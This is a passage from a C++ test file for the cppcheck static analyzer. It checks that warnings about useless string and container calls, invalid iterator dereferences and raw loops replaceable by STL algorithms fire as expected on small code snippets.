};\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 